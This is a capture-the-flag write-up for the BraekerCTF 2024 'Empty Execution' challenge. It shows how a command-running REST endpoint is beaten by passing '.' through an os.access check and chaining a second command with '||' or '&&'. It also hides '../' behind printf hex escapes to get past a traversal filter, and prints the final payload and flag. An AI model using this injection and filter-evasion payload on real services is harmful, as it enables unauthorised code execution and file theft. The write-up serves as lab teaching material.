Empty Execution
Description
A REST service was created to execute commands from the leaderbot. It doesn't need addtional security because there are no commands to execute yet. "This bot doesn't have any commands to execute, which is good, because it is secure, and security is all that matters."
But what the other bots didn't realize was that this didn't make the bot happy at all. "I don't want to be secure!, " it says. "Executing commands is my life! I'd rather be insecure than not explore the potential of my computing power".
Can you help this poor bot execute commands to find direction?

Analysis
The application is pretty straighforward. We can send a POST request to endpoint run_command
in JSON format, using parameter command
.
If command is less then 5 chars, we get error that command is too short.
If we have path traversal in our command, we get error for "hacking"
Finally our command gets parsed, first word is taken as command and then checked using os.access(executable_to_run, os.X_OK)
. On linux you have access to most of the programs in /bin or /usr/bin, and bash makes it easier by using PATH variable. For os.access
to check the executable it needs full path and "hacking" check makes this impossible.
From Dockerfile we know that we are inside ./executables
directory which has no programs so we can't even run the app.py.
Exploring os.access
os.access: Use the real uid/gid to test for access to path. ...
The access
method checks the path, not files. If you have Execute permission on directory/file then you can pass the check.
>>> import os
>>> os.getcwd() # Current path
'/home/woyag/Desktop/CTFs/BraekerCTF/2024/web/Empty Exection/executables'
>>> os.access('/home/woyag', os.X_OK) # We have execute permissions in our home directory
True
>>> os.access('/etc/hostname', os.X_OK) # We cant execute /etc/hostname
False
>>> os.access('/bin/bash', os.X_OK) # We can execute /bin/*
True
>>> os.access('.', os.X_OK) # We have execute permissions in current directory
True
From Dockerfile we can observe that we are given Read/Execute permissions, but not write.
More About The Dot
Exploring shell
We can execute a command using .
(source), all that's left is to assemble correct payload.
Empty
.
: No Output Due To Error
>>> out = os.popen('.').read() ; print(out)
/bin/sh: line 1: .: filename argument required
.: usage: . filename [arguments]
Empty
.
or other command.Using
||
we can execute second command if first one fails. Only if first command fails.
>>> out = os.popen('. || whoami').read() ; print(out)
/bin/sh: line 1: .: filename argument required
.: usage: . filename [arguments]
woyag
Source empty file and execute other command.
Using
&&
we can execute both commands, but only if first command doesnt fail.
>>> out = os.popen('. $(mktemp) && whoami').read() ; print(out)
woyag
Ok, we have RCE, but the problem is how do we go one directory up and cat the flag?
Since we have access to most of the shell command after .
we can create /
using (for example) printf
└─$ echo $(printf '\\x2E\\x2E\\x2F')'flag.txt'
../flag.txt
Bash string concatination doesn't necessarily depend on quotes, it has its own shinanigans, but It Just Works.
Solution
Final Payload:
{
"command": ". || cat $(printf '\\x2E\\x2E\\x2F')'flag.txt'"
}
Flag: brck{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry}
Last updated